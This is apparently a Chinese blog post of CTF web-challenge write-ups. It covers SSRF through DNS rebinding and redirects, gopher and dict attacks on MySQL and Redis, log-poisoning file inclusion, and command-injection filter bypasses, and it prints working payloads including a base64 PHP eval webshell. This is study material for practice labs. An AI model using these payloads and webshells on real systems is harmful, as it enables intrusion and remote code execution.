首页 > 其他分享 >ctfshow

ctfshow

时间:2024-12-04 15:30:30浏览次数:5  
标签:文件 32% 36% 37% 25% ctfshow php

1,web357

首先从代码看,if判断了scheme字段的值是否有http或者https,如果有就执行大括号里面的代码

使用 gethostbyname 函数,获取给定域名或主机名对应的 IPv4 地址

if判断⾥的: FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (⽐如 192.168.0.1) FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和IPV6 值。

file_get_contents 函数获取用户提交的 URL 内容,并输出到浏览器。

通过前面的查阅,可以知道要满足有http,是私域地址,要求值不在保留范围内

到这一步我想到了就是有没有一种访问别人ip是访问自己IP的东西,问了ai发现反向代理可以,DNS重新绑定也可以

到这里看了一下wp,因为绑定127.0.0.1,只后发现不行,还是直接显示127.0.0.1这个被禁止的IP。

看了一下发现是通过DNS重绑定漏洞获取flag的

简单来说就是:当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。

然后我们通过CEYE - Monitor service for security testing ,注册一个自己的账号,使用它分配的域名,绑定两个ip,通过重绑定获取flag

"r" 代表 "redirect"(重定向)

还有一种方法,通过vps虚拟专用服务器,在上面写上

<?php
header("Location: http://127.0.0.1/flag.php");
?>
#header 函数,用于发送原始 HTTP 头部到客户端。
#Location http响应头

进行访问,让浏览器重定向到http://127.0.0.1/flag.php

2,web358

这里面最重要的就是if(preg_match('/^http:\/\/ctf\..*show$/i', $url))

使用 preg_match 函数检查 $url 是否符合特定的正则表达式模式。

简单来说就是开头要是http://ctf. 结尾要是show

后面的show可以通过#或者?号绕过

在 URL 中,#号标志着查询字符串的结束,之后的内容不会被发送到服务器。

http://ctf.@127.0.0.1/flag.php#show

在前面加上@符号,会被认为前面是账号或密码,后面才是地址

3,web359

访问是一个页面,登录之后什么都没有

看了一下题目发现是无密码mysql

这种我也没做过,应该是通过写入一句话木马进行连接,然后获取flag

虽然没密码但我也没账号啊,这时候我想到了可能是通过请求方法写入

使用了OPTIONS请求方法,查看了服务器支持提交哪些请求方法。在这之前我还搜索了无密码mysql的利用工具。

有put,从客户端向服务器传送的数据取代指定的文档的内容,即指定上传资源存放路径。

想了一下发现不行

看了一下wp

是通过Gopherus工具构造gopher协议数据流,传入一句话。

生成好了之后,要对它再次进行编码,因为浏览器也会解码一次

这里有个传入点

传入刚刚生成的一句话就可以了

4,web360

cURl去获取$url指定的页面内容,curl_setopt 函数设置 cURL 选项,curl_exec 函数执行 cURL 会话。

在搜索ssrf利用协议发现了dict协议,可以利用一下

前面有提示打redis,redis默认端口是6379,先用dict探测一下

是开放的,那么就可以通过dict写入shell

5,web79

和上一关差不多过滤了php,使用data和php短标签

6,web80

过滤了data和php,data不能⼤⼩写绕过,使用日志文件包含

然后将一句话写入ua头

7,web81

多过滤了一个:号,远程文件包含和大小写绕过不行了,只能用日志包含

还是和上一关一样,用ua头

8,web87

将如果file出现phpdata:.就会替换成???,

urldecode对file进行解码,最后面加上$content

file_put_contents 函数创建或修改由 $file 变量指定的文件,并写入固定的 PHP 代码 "<?php die('大佬别秀了');?>" 加上 $content 变量的内容。

看到这里直接试试通过编码写入东西

die函数需要绕过,避免程序终止。

使用base64绕过

因为base64解密为4字节为一组,并且base64编码中只包含64个可打印字符。其他的字符都将被忽略掉,故 <?php die()> 会变成 phpdie,因此需在加两个字节变成8个字节

使用php伪协议将base64的一句话写入文件,然后连接或者命令执行

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%61%25%36%39%25%37%35%25%37%61%25%36%38%25%36%35%25%36%65%25%32%65%25%37%30%25%36%38%25%37%30

aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

jiuzhen.php

9,web88

file包含禁止的符号,就会执行die解释

include 函数会将指定文件的内容复制到当前位置,并且执行该文件中的代码。

这里没有过滤data协议,也没有过滤分号,可以使用data先传入一句话

data://text/plain; base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg

一句话要用base64加密,后面的==可以删除,没有影响,只是一个标志

10,web166

访问之后发现是一个视频,用f12看了看也,没什么有用的东西,就将视频下载下来了,用随波逐流看了一下发现有一个隐藏文件

第一次用的Binwalk文件提取 第二次用的Foremost文件提取

Binwalk是Linux下用来分析和分离文件的工具,可以快速分辨文件是否由多个文件合并而成,并将文件进行分离。如果分离成功会在目标文件的目录。有压缩包自动解压

foremost,将目标文件复制到 kali 中,成功执行后,会在目标文件的文件目录下生成我们设置的目录,目录中会按文件类型分离出文件。有压缩包不会自动解压

分离之后有一个图片和一个MP3(打不开)

从代码里也没什么发现,过滤了一些东西,直接进行包含试试,发现通过f12不行,用了bp

data://协议 通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行

php://input协议 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当表单 enctype=multipart/form-data 时,php://input将会无效

看了一下只能通过直接包含,写入不了一句话了

11,web117

禁用了input和data

和上面的web87有点像

通过?file=php://filter/写入文件

查看发现不行,进行了换位,通过反向操作构造

?<hp pvela$(G_TE'['a)] ;>?

12,[SWPUCTF 2022 新生赛]webdog1__start

变量等于md5的变量

在php中0e会被当做科学计数法,就算后面有字母,其结果也是0

看了源码没有什么东西,f12看一下网络

发现了这个

没什么有用信息继续查看网络

上面的代码,第一个if不能包含空格,之后不能有flag(不区分大小)否则替换成空格,长度也不能大于18个字符

也可以使用system('nl%09/*');

nl:是一个命令行工具,用于对文件进行行号标记,通常用于显示文件内容时附加行号。

13,[FSCTF 2023]细狗2.0

前面要有一个分号,过滤了空格,flag,cat

1;tac${IFS}/fl\ag,也可以使用fl*

14,[FSCTF 2023]EZ_eval

里面最主要的是?>闭合了,后面的代码不会当成php执行,

通过js代码中的language来指定代码类型,将其解析成php代码执行

<script%09language=%27php%27>system(%27c\a\t%09/f*%27);</script>

15,[SWPUCTF 2024 秋季新生赛]未选择的路

通过闭合可以绕过#cmd和inject

标签:文件,32%,36%,37%,25%,ctfshow,php
From: https://blog.csdn.net/2401_87493916/article/details/144241091

相关文章

  • CTFshow图片刷题
    misc1打开就是flagctfshow{22f1fb91fc4169f1c9411ce632a0ed8d}misc2改后缀名pngctfshow{6f66202f21ad22a2a19520cdd3f69e7b}misc3.bpg的图片用这个工具打开BPGImageformatctfshow{aade771916df7cde3009c0e631f9910d}misc4逐个改后缀名就可以得到图......
  • ctfshow 信息搜集web入门思路
    (web2)js前台拦截无法使用f12打开代码可以使用ctrl+u或者在网站前面加上view-source:或者使用bp进行抓包(web4)robots.txt中可能包含着信息(web5)phps源码泄露 index.phps(web6)源码泄露www.zip泄露(web7)/.git/源文件泄露(web8)index.php.swplinux在使用vim进行编......
  • ctfshow -web -118-124
    118.((Bash内置变量))这题实话不会,看了别人的wp。此题过滤了许多,白名单只有大写字母和符号。一般在Linux下环境变量PATH一般是/bin,题目路径PWD是/var/www/html可以利用切片来得到我们需要的字母。但是题目过滤了数字,无法使用切片。换一种方式获取字符。linux可以利用~获得变......
  • ctfshow(78->81)--文件包含漏洞
    Web78源代码如下:if(isset($_GET['file'])){$file=$_GET['file'];include($file);}else{highlight_file(__FILE__);代码审计:使用include()进行文件包含,通过GET方法传递参数file获取被包含的文件。思路:利用data://伪协议,执行系统命令,获取flag......
  • ctfshow
    pwn19fork()函数创建了一个子进程。如果当前代码处于父进程(fork()返回1)则进入if语句块。如果是子进程(fork()返回0),则进入else语句块。在子进程中给予了用户一个shell权限,允许用户在子进程中输入数据并通过system运行。值得注意的是在read函数前有一句fclose(_bss......
  • [CTFshow] 文件包含 78~88,116~117
    web78if(isset($_GET['file'])){$file=$_GET['file'];include($file);}else{highlight_file(__FILE__);}php伪协议,data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码?file=data://text/plain,<?=system('ls')?>?file=dat......
  • ctfshow web13
     尝试 常规姿势上传文件打开网站初步判定为文件上传漏洞。随便选择几个文件上传,提示错误不选择任何文件直接点提交也会报错打开burpsuite抓包,改掉MIME类型,也就是图示位置,发现也不行,应该不是MIME过滤一头雾水,只能换个思路。 -------------------------......
  • ctfshow web红包题第二弹题解
    从今天开始记录刷题日常打开靶场平平无奇,看源代码发现如下提示get方式提交cmd参数,猜测是命令执行漏洞,先写个phpinfo();试试。有用,但报错cerror查看显示出来部分php代码,过滤了很多东西if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)) 第一个正则表达式把字母数字几乎全......
  • ctfshow-web入门-信息搜集(web1-web10)
    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录web1(查看源代码)右击页面查看源代码web2(js前台拦截===无效操作)打开题目地址采用burp抓包并进行重发数据包web3(没思路的时候抓个包看看,可能会有意外收获)打开题目链接查看源码无果采用burp抓包并......
  • 关于ctfshow的web题目的文件包含题目的思考
    今日深思两个题目ctfshow的web方向的web3和web4开始有疑惑了:<?phpinclude($_GET['url']);?>这两个题目都是这句话我一眼看上去是文件包含,我发现访问到一些目录下的文件,比如etc/passwd,是能够回显的第三题的write_up是利用php伪协议去实现渗透第四题的write_up是利用网站nig......